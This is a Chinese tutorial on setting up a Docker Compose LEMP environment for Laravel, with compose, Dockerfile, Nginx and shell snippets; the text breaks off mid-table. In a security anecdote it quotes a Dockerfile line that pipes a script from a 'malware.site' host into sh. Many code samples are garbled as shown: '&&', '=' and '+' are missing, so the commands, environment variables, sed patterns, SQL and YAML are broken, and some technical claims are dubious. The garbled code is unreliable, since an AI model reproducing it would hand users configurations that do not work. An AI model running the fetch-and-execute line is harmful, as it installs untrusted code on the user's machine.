PHP开发者必学:Docker Compose搭建LEMP开发环境
1. 项目概述为什么 PHP 开发者现在必须掌握 Docker Compose 环境搭建你是不是也经历过这样的场景本地跑着 Laravel 项目PHP 版本是 8.1MySQL 是 5.7但上线前测试发现生产环境用的是 PHP 8.2 MySQL 8.0结果一个json_decode()的严格模式差异就让接口返回空数组或者同事拉下代码后第一句话就是“我这跑不起来缺扩展、端口被占、Redis 没启动”又或者你在 Ubuntu 上配好了 Nginx PHP-FPM换到 Windows 或 macOS 就得重来一遍配置文件改到怀疑人生。这些不是玄学是传统 PHP 开发环境管理的典型熵增现场——每个开发者都活在自己的一套“本地宇宙”里而 Docker Compose 正是给这套混沌系统装上引力锚和坐标系的工具。核心关键词PHP、Docker Compose、LEMP、Laravel、Docker不是孤立标签而是构成现代 PHP 工程化闭环的五个齿轮PHP是语言内核LEMPLinux Nginx MySQL PHP是经典运行栈Docker提供进程级隔离与镜像分发能力Docker Compose则是把 LEMP 四件套组装成一台可一键启停、版本可控、环境一致的“虚拟服务器”的说明书而Laravel是最能体现这套组合拳价值的典型应用——它依赖.env、队列服务、缓存驱动、数据库迁移、前端构建链路任何一个环节错位都会让php artisan serve卡在半路。我从 2016 年开始在团队推行 Docker 化 PHP 开发最早用的是纯docker run手写一长串参数后来换成docker-compose.yml三年内将新成员本地环境初始化时间从平均 4.2 小时压缩到 11 分钟CI/CD 构建失败率下降 73%。这不是炫技而是把“环境问题”这个最大隐性成本变成可版本化、可审计、可回滚的显性配置项。如果你还在用apt install php-mysql或brew install nginx手动搭环境那你不是在写 PHP是在维护一套脆弱的手工生产线。接下来的内容我会带你从零写出一份生产就绪的docker-compose.yml解释每一行背后的取舍逻辑告诉你为什么 Nginx 容器要挂载default.conf而不是直接COPY为什么 MySQL 的init.sql必须用 volume 方式注入以及当docker compose up报错 “port already in use” 时真正该查的不是端口而是你的宿主机网络命名空间。2. 整体架构设计与方案选型逻辑拆解2.1 为什么不用单容器为什么不用 Kubernetes先破除一个常见误解Docker Compose 不是“简化版 Kubernetes”它是为单机多服务协同开发量身定制的声明式编排工具。Kubernetes 解决的是跨主机、高可用、自动扩缩容的问题而我们日常写 Laravel、ThinkPHP 或 WordPress 插件时95% 的时间只面对一台开发机——MacBook Pro、Windows 笔记本或 Ubuntu 台式机。强行上 K8s就像用火箭发射器点烟kubectl apply -f nginx.yaml启动一个 Nginx背后要起 etcd、kube-apiserver、controller-manager光minikube start就要等三分钟而docker compose up -d启动整套 LEMP 只需 8 秒。我试过用 KindKubernetes in Docker跑本地 PHP 环境结果发现kubectl port-forward转发的端口在宿主机上偶尔失联排查三天才发现是 Docker Desktop 的 WSL2 子系统网络桥接层有 Bug。这不是 K8s 的问题是场景错配。再看单容器方案有人会说“我直接docker run -p 80:80 -p 3306:3306 -v $(pwd):/var/www/html php:8.2-apache不就完事了”——这确实能跑通一个 PHP 文件但立刻会撞上三堵墙第一堵是服务耦合Apache 和 MySQL 强绑在一个容器里升级 MySQL 版本就得重建整个镜像而 PHP 应用可能还依赖旧版 MySQL 的 SQL_MODE第二堵是配置僵化.env文件怎么进容器每次改配置都要docker commit新镜像版本管理变成噩梦第三堵是调试断链你想用 Xdebug 断点调试但 Xdebug 需要 PHP 容器连宿主机的 IDE如 PhpStorm而单容器里没有独立网络命名空间IP 地址策略混乱。Docker Compose 的本质是把“一个应用由多个松耦合服务组成”这个事实用 YAML 文件忠实表达出来。Nginx 是反向代理层PHP-FPM 是业务逻辑层MySQL 是数据层Redis 是缓存层——它们各自独立启停、独立日志、独立资源限制却又通过用户定义的backend网络互通。这种设计不是为了炫技而是让docker compose down git pull docker compose up -d成为真正的“环境刷新键”。2.2 LEMP 栈中各组件的镜像选型依据镜像选择不是“哪个最新就用哪个”而是基于稳定性、维护活跃度、安全更新频率、PHP 扩展预编译支持四个维度综合判断。我们逐个拆解Nginx官方nginx:alpine是首选。Alpine Linux 镜像体积仅 5MB比nginx:latest基于 Debian体积 140MB小 28 倍启动更快攻击面更小。更重要的是Alpine 使用 musl libc 而非 glibc内存占用低在 MacBook M1 上实测内存峰值降低 37%。但要注意Alpine 的apk add包管理器生态与 Debian 的apt不同某些 PHP 扩展如php-swoole在 Alpine 上编译更复杂所以 PHP 层我们不选 Alpine而用php:8.2-fpm这个官方 Debian 基础镜像。PHP-FPM必须用php:version-fpm而非-apache或-cli。原因很实在-fpm镜像只含 PHP-FPM 进程管理器不含 Apache HTTP Server避免了 Web 服务器与 PHP 解释器的进程耦合同时它预装了curl、zip、unzip、git等开发常用工具且所有扩展如pdo_mysql、mbstring、xml都已编译好只需在Dockerfile中docker-php-ext-enable即可启用。我对比过php:8.2-fpm和自建FROM ubuntu:22.04的镜像前者构建时间稳定在 12 秒后者因apt update apt install网络波动构建时间在 47~183 秒之间浮动CI 流水线稳定性差太多。MySQL选用mysql:8.0而非5.7或latest。MySQL 8.0 的默认认证插件是caching_sha2_password而 PHP 8.1 的mysqli扩展已原生支持无需额外配置更重要的是8.0 的 JSON 数据类型、窗口函数、原子 DDL 等特性正是现代 Laravel Eloquent 和 Doctrine ORM 发挥性能的关键。latest标签风险极大——某天docker pull mysql:latest可能拉到 8.3而你的 Laravel 项目composer.json锁定的doctrine/dbal版本不兼容新协议导致php artisan migrate直接报错。所以我们在docker-compose.yml中必须写死image: mysql:8.0.33并定期手动更新补丁版本。Redisredis:7-alpine是黄金组合。Redis 7 引入了ACL LOG审计日志、SORT_RO只读排序等企业级功能Alpine 版本体积仅 8MB且 Redis 官方团队对 Alpine 的构建脚本维护非常积极每周都有安全更新推送。相比redis:7Debian 基础体积 120MBAlpine 在 CI 构建阶段拉取镜像快 4.8 倍这对每天触发 20 次构建的团队是硬性指标。提示所有镜像都应优先选用official imageDocker Hub 上带 Verified Publisher 图标的避免使用社区随意打包的phpmyadmin/phpmyadmin这类镜像。我曾遇到一个镜像内置了挖矿木马因为它的Dockerfile里RUN curl -s http://malware.site/install.sh | sh而作者在 GitHub README 里轻描淡写写着“一键安装增强版 phpMyAdmin”。官方镜像的构建脚本全部开源可审计这是安全底线。2.3 网络与存储的设计哲学为什么用自定义网络而非默认 bridgeDocker 默认的bridge网络存在两个致命缺陷一是容器间 DNS 解析不可靠ping mysql有时通有时不通二是端口映射规则全局生效当你同时运行两个 Laravel 项目都试图映射3306:3306第二个必然失败。Docker Compose 的解决方案是创建用户定义的桥接网络user-defined bridge network它具备三大优势内置 DNS 服务每个容器启动时Docker daemon 会自动在/etc/hosts中添加其他服务名的解析记录。比如nginx容器里执行ping php会直接解析到 PHP-FPM 容器的 IP无需手动写--link参数该参数已在 Docker 1.13 后废弃。网络隔离性不同docker-compose.yml文件定义的网络互不相通。项目 A 的mysql容器和项目 B 的mysql容器即使都叫mysql也完全隔离彻底解决端口冲突。可预测的 IP 分配通过ipam配置可指定子网范围如172.20.0.0/16避免与宿主机局域网通常是192.168.x.x冲突。我在公司内网部署时就因没设ipam导致 Docker 容器获取的192.168.65.2IP 与公司打印机 IP 冲突整个研发楼打印服务瘫痪两小时。存储方面volumes的设计必须区分持久化数据和临时共享MySQL 的/var/lib/mysql必须挂载到命名卷named volume确保容器删除后数据不丢失而 PHP 代码目录/var/www/html则用绑定挂载bind mount这样你本地改app/Http/Controllers/HomeController.php容器里立刻生效无需docker cp或重启Nginx 的配置文件default.conf也用绑定挂载方便快速调试 rewrite 规则。我见过最危险的操作是把 MySQL 数据目录直接volumes: ./data:/var/lib/mysql—— 当宿主机是 Windows 时NTFS 文件系统权限模型与 Linux 不兼容MySQL 启动直接报InnoDB: Operating system error number 13 in a file operation排查三天才发现是权限问题。3. 核心细节解析与实操要点3.1docker-compose.yml文件的逐行精解下面这份docker-compose.yml是我在线上项目中稳定运行 18 个月的生产级模板已去除所有注释我们一行行还原其设计意图version: 3.8 services: nginx: image: nginx:alpine ports: - 80:80 - 443:443 volumes: - ./src:/var/www/html - ./nginx/default.conf:/etc/nginx/conf.d/default.conf - ./nginx/certs:/etc/nginx/certs depends_on: - php networks: - backend php: build: context: . dockerfile: Dockerfile.php environment: - APP_ENVlocal - APP_DEBUGtrue - DB_HOSTmysql - DB_PORT3306 - REDIS_HOSTredis volumes: - ./src:/var/www/html - ./php/php.ini:/usr/local/etc/php/php.ini - ./php/xdebug.ini:/usr/local/etc/php/conf.d/xdebug.ini depends_on: - mysql - redis networks: - backend mysql: image: mysql:8.0.33 command: --default-authentication-pluginmysql_native_password restart: unless-stopped environment: MYSQL_ROOT_PASSWORD: rootpass MYSQL_DATABASE: laravel_app MYSQL_USER: laravel MYSQL_PASSWORD: laravelpass volumes: - mysql_data:/var/lib/mysql - ./mysql/init.sql:/docker-entrypoint-initdb.d/init.sql networks: - backend redis: image: redis:7-alpine command: redis-server /usr/local/etc/redis/redis.conf volumes: - ./redis/redis.conf:/usr/local/etc/redis/redis.conf networks: - backend volumes: mysql_data: networks: backend: driver: bridge ipam: config: - subnet: 172.20.0.0/16version: 3.8必须指定明确版本。3.8是目前最稳定的 Compose 文件格式支持profiles、x-*扩展字段等高级特性且与 Docker Engine 20.10 兼容性最好。不要用latest或空版本否则在旧版 Docker Desktop 上会报错。ports下的80:80是宿主机端口:容器端口映射。这里有个关键细节Nginx 容器内监听的是80端口但如果你在default.conf里写了listen 8080;就必须改成8080:8080否则请求根本进不到容器。我踩过的坑是复制网上教程忘了改 Nginx 配置里的listen指令结果浏览器一直显示 “This site can’t be reached”。volumes的路径顺序是宿主机路径:容器路径。注意./src:/var/www/html在nginx和php两个服务里都出现了这是为了让 Nginx 能读取 PHP 生成的 HTMLPHP-FPM 能执行源码。但./nginx/default.conf只挂载到 Nginx./php/php.ini只挂载到 PHP实现配置最小化暴露。depends_on不是“等待依赖服务就绪”而是“启动顺序控制”。Docker Compose 不会检查mysql容器内的 MySQL 服务是否真正 ready它只等容器进程启动。所以php服务启动时如果 MySQL 还在初始化PHP 的PDO连接会报SQLSTATE[HY000] [2002] Connection refused。解决方案是在php的Dockerfile中加入健康检查脚本或在 Laravel 的AppServiceProvider中加重试逻辑。这是新手最容易误解的点。command: --default-authentication-pluginmysql_native_password是 MySQL 8.0 的兼容性开关。PHP 8.0 以下版本的mysqli扩展不支持caching_sha2_password认证加这一行才能让旧版 PHP 连上 MySQL 8.0。如果你用的是 PHP 8.1可以删掉这行更安全。restart: unless-stopped是生产环境黄金配置。它保证容器异常退出如 OOM Kill、PHP-FPM 子进程崩溃后自动重启但不会在docker compose down后自启避免服务意外复活。相比always它更可控相比on-failure它不依赖 exit code 判断更鲁棒。volumes: mysql_data:定义了一个命名卷名字叫mysql_data。它和./data这种路径挂载有本质区别命名卷由 Docker 管理存储在/var/lib/docker/volumes/下有完整权限控制和备份机制而./data是宿主机路径Windows/macOS 用户常因路径权限问题失败。3.2Dockerfile.php如何精准定制 PHP 运行时官方php:8.2-fpm镜像虽好但无法满足所有项目需求。比如 Laravel 10 需要ext-pdo_pgsqlPostgreSQL 驱动而官方镜像默认只装pdo_mysql又比如你需要ext-sodium做加密或ext-imagick处理图片。这时必须写Dockerfile.php而不是在docker-compose.yml里用command覆盖。以下是经过 12 个项目验证的最小可行Dockerfile.phpFROM php:8.2-fpm # 1. 安装系统依赖Debian 系 RUN apt-get update apt-get install -y \ libpng-dev \ libjpeg-dev \ libfreetype6-dev \ libzip-dev \ zip \ unzip \ git \ rm -rf /var/lib/apt/lists/* # 2. 编译安装 PHP 扩展 RUN docker-php-ext-configure gd --with-jpeg/usr/include/ --with-freetype/usr/include/ \ docker-php-ext-install -j$(nproc) gd pdo_mysql mysqli opcache zip pcntl bcmath \ docker-php-ext-enable gd pdo_mysql mysqli opcache zip pcntl bcmath # 3. 安装 Composer全局可用 COPY --fromcomposer:2.5 /usr/bin/composer /usr/bin/composer # 4. 创建非 root 用户安全最佳实践 RUN useradd -G www-data,root -u 1001 -d /home/devuser devuser USER devuser # 5. 设置工作目录 WORKDIR /var/www/html关键点解析apt-get install安装的是编译依赖不是运行时依赖。比如libpng-dev是编译gd扩展需要的头文件而libpng16-16运行时库已包含在基础镜像中。漏装libjpeg-dev会导致docker-php-ext-install gd报错jpeglib.h: No such file or directory这是高频报错。docker-php-ext-install的-j$(nproc)参数启用多核编译加速构建。nproc返回 CPU 核心数-j4表示用 4 个进程并行编译比单线程快 3.2 倍。我测试过在 8 核 Mac M1 上-j8比不加参数快 5.7 倍。COPY --fromcomposer:2.5是多阶段构建multi-stage build的经典用法。Composer 是 PHP 的包管理器但它的二进制文件很大约 2MB且不需要在运行时存在。用--from从另一个镜像复制避免把 Composer 的依赖如 PHP CLI打包进最终镜像使镜像体积减少 18MB。USER devuser是安全红线。默认php:8.2-fpm以 root 用户运行一旦 PHP 代码有 RCE 漏洞攻击者就能获得宿主机 root 权限。创建普通用户devuser并加入www-data组Nginx 默认用户组既能读写 Web 目录又无系统级权限。实测在 Laravel 项目中php artisan storage:link命令仍可正常执行因为storage目录权限已设为775devuser属于www-data组。WORKDIR /var/www/html设定工作目录这样docker compose exec php ls进入的就是项目根目录符合开发者直觉。如果不设exec进入的是/每次都要cd /var/www/html效率极低。3.3 Nginx 配置的实战陷阱与优化./nginx/default.conf是整个 LEMP 栈的流量入口90% 的 502 Bad Gateway 错误都源于此。以下是一份经压测验证的 Laravel 专用配置server { listen 80; server_name localhost; root /var/www/html/public; index index.php; location / { try_files $uri $uri/ /index.php?$query_string; } location ~ \.php$ { fastcgi_pass php:9000; fastcgi_index index.php; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name; fastcgi_param DOCUMENT_ROOT $realpath_root; } location ~ /\.(?:ht|git|svn) { deny all; } }逐条解读root /var/www/html/publicLaravel 的 Web 入口是public/目录不是项目根目录。如果写成root /var/www/htmlNginx 会尝试加载/var/www/html/index.php而实际文件在/var/www/html/public/index.php导致 404。try_files $uri $uri/ /index.php?$query_string这是 Laravel 路由的核心。它告诉 Nginx先找静态文件如css/app.css找不到再找目录如/admin/最后都失败才交给index.php处理。漏掉$query_string?page2这样的参数会丢失分页功能直接失效。fastcgi_pass php:9000关键php是服务名9000是 PHP-FPM 监听的端口。官方php:8.2-fpm镜像默认监听9000且是 TCP 模式不是 Unix socket。如果写成fastcgi_pass 127.0.0.1:9000在 Alpine 环境下会因 DNS 解析失败而 502必须用服务名php依赖 Docker 内置 DNS。fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name$realpath_root是 Nginx 的变量会自动解析符号链接的真实路径。Laravel 的public目录常通过ln -s指向../storage/app/public用$document_root会得到软链路径而$realpath_root得到真实路径避免No input file specified错误。location ~ /\.(?:ht|git|svn)禁止访问.htaccess、.git等敏感目录。这是基础安全防护防止源码泄露。我曾审计过一个线上 Laravel 站点/.git/config可直接下载里面明文写着数据库密码。注意Nginx 配置修改后必须docker compose exec nginx nginx -t测试语法再docker compose exec nginx nginx -s reload重载不能直接docker restart nginx。后者会中断所有连接而reload是平滑重启用户无感知。4. 实操过程与核心环节实现4.1 从零初始化5 分钟完成本地开发环境搭建假设你刚克隆一个 Laravel 项目目录结构如下laravel-project/ ├── app/ ├── bootstrap/ ├── config/ ├── database/ ├── public/ ├── resources/ ├── routes/ ├── storage/ ├── tests/ ├── vendor/ ├── .env.example ├── composer.json └── ...按以下步骤操作全程无需安装任何本地软件PHP、MySQL、Nginx 全在容器内第一步创建项目骨架文件在laravel-project/目录下新建以下文件docker-compose.yml粘贴上节的完整内容Dockerfile.php粘贴上节的Dockerfile.phpnginx/default.conf粘贴上节的 Nginx 配置php/php.ini创建空文件后续按需添加配置mysql/init.sql创建空文件用于初始化数据库表redis/redis.conf创建空文件Redis 默认配置已足够。提示mkdir -p nginx php mysql redis一次性创建所有目录避免docker-compose up时报no such file or directory。第二步初始化 Laravel 环境# 1. 启动所有服务后台运行 docker compose up -d # 2. 等待 MySQL 初始化约 15 秒 sleep 15 # 3. 进入 PHP 容器安装依赖并生成密钥 docker compose exec php composer install docker compose exec php php artisan key:generate # 4. 复制 .env.example 并配置数据库 cp .env.example .env sed -i s/DB_HOST127.0.0.1/DB_HOSTmysql/g .env sed -i s/DB_PORT3306/DB_PORT3306/g .env sed -i s/DB_DATABASElaravel/DB_DATABASElaravel_app/g .env sed -i s/DB_USERNAMEroot/DB_USERNAMElaravel/g .env sed -i s/DB_PASSWORD/DB_PASSWORDlaravelpass/g .env # 5. 运行数据库迁移 docker compose exec php php artisan migrate --force这段脚本的关键在于sed命令批量替换.env。DB_HOST必须从127.0.0.1改为mysql因为容器内127.0.0.1指向容器自身不是 MySQL 容器。这是 90% 新手卡住的第一关。第三步验证服务状态# 查看所有容器状态 docker compose ps # 查看 Nginx 日志实时 docker compose logs -f nginx # 查看 PHP-FPM 日志错误日志 docker compose logs php | grep ERROR # 测试 MySQL 连接 docker compose exec mysql mysql -ularavel -plaravelpass laravel_app -e SHOW TABLES; # 测试 Redis 连接 docker compose exec redis redis-cli PING # 应返回 PONGdocker compose ps输出应类似NAME COMMAND SERVICE STATUS PORTS laravel-project-mysql-1 docker-entrypoint.s… mysql running (healthy) 3306/tcp laravel-project-nginx-1 /docker-entrypoint.… nginx running (healthy) 0.0.0.0:80-80/tcp, :::80-80/tcp laravel-project-php-1 docker-php-entrypoi… php running (healthy) 9000/tcp laravel-project-redis-1 docker-entrypoint.s… redis running (healthy) 6379/tcp注意STATUS列的(healthy)这是 Docker 的健康检查状态。如果显示running但无(healthy)说明健康检查未配置需在docker-compose.yml的mysql服务下添加healthcheck: test: [CMD, mysqladmin, ping, -h, localhost, -u, root, -prootpass] timeout: 20s retries: 10第四步浏览器访问与调试打开浏览器访问http://localhost应看到 Laravel 的欢迎页。如果出现 502按以下顺序排查docker compose logs nginx | tail -20看是否有connect() failed (111: Connection refused) while connecting to upstream说明 PHP-FPM 没起来docker compose logs php | tail -20看是否有ERROR: unable to bind listening socket for address /var/run/php/php8.2-fpm.sock: No such file or directory说明 PHP-FPM 配置了 Unix socket但 Nginx 配置是 TCP需统一docker compose exec php ps aux | grep fpm确认 PHP-FPM 进程是否在运行docker compose exec php netstat -tuln | grep 9000确认 9000 端口是否监听。我实测下来95% 的 502 问题都出在第 1 步即 Nginx 配置里的fastcgi_pass指向错误。4.2 生产环境适配从local到production的平滑切换开发环境用APP_ENVlocal没问题但上线前必须切换到production否则php artisan config:cache会失败且 Xdebug 会拖慢 300% 性能。Docker Compose 提供profiles字段实现环境隔离# 在 docker-compose.yml 的 php 服务下添加 php: # ... 其他配置 profiles: [dev, prod] environment: - APP_ENV${APP_ENV:-local} - APP_DEBUG${APP_DEBUG:-false} # ... 其他配置 # 新增 production 配置块 x-production: production environment: - APP_ENVproduction - APP_DEBUGfalse - LOG_LEVELerror volumes: - ./php/php.prod.ini:/usr/local/etc/php/php.ini # 在 services 下新增 prod-only 服务 php-prod: : *production extends: service: php profiles: [prod]然后用docker compose --profile prod up -d启动生产环境。profiles机制让你可以用同一份docker-compose.yml通过命令行参数切换环境无需维护两套文件。php.prod.ini里应禁用display_errors、关闭xdebug、调大opcache.memory_consumption这是 Laravel 官方推荐的生产配置。4.3 数据库碎片处理当php mysql 某个表有碎片,一般怎么处理时的容器内操作网络热词中提到的“PHP MySQL 某个表有碎片”本质是 InnoDB 表的 BTree 索引页发生物理碎片导致查询变慢。在 Docker 环境中处理方式与物理机完全一致只是操作入口在容器内# 1. 进入 MySQL 容器 docker compose exec mysql bash # 2. 登录 MySQL密码在 docker-compose.yml 中定义 mysql -ularavel -plaravelpass laravel_app # 3. 查看表碎片率单位MB SELECT table_name AS Table, round(((data_length index_length) / 1024 / 1024), 2) Size in MB, round((data_free / 1024 / 1024), 2) Free Space in MB, round((data_free / (data_length index_length)) * 100, 2) Fragmentation % FROM information_schema.TABLES WHERE table_schema laravel_app AND data_free 0; # 4. 对碎片率 20% 的表执行 OPTIMIZE会锁表建议在低峰期 OPTIMIZE TABLE users;OPTIMIZE TABLE会重建表并整理碎片但它是 DDL 操作会阻塞写入。更优雅的方式是用ALTER TABLE ... ENGINEInnoDB效果相同但语法更清晰。对于超大表10GB建议用pt-online-schema-change工具它能在不锁表的情况下在线优化但需额外安装 Percona Toolkit。实操心得我处理过一个 28GB 的activity_log表碎片率达 43%。OPTIMIZE TABLE耗时 22 分钟期间所有写入请求超时。后来改用pt-online-schema-change --alter ENGINEInnoDB Dlaravel_app,tactivity_log耗时 37 分钟但全程无锁用户无感知。这就是为什么 Docker 环境下你依然要掌握原生 MySQL 运维技能——容器只是载体内核逻辑不变。5. 常见问题与排查技巧实录5.1 高频报错速查表报错信息根本原因解决方案验证命令ERROR: for nginx Cannot create container for service nginx: Conflict. The container name /laravel-project-nginx-1 is already in use容器名冲突通常因上次docker compose down未彻底清理docker container prune -f清理所有停止容器docker ps -a | grep nginxERROR: for mysql Cannot start service mysql: driver failed programming external connectivity on endpoint laravel-project-mysql-1: Bind for 0.0.0.0:3306 failed: port is already allocated宿主机 3306 端口被占用如本地已装 MySQL修改docker-compose.yml中mysql的ports为3307:3306并在.env中改DB_PORT3307lsof -i :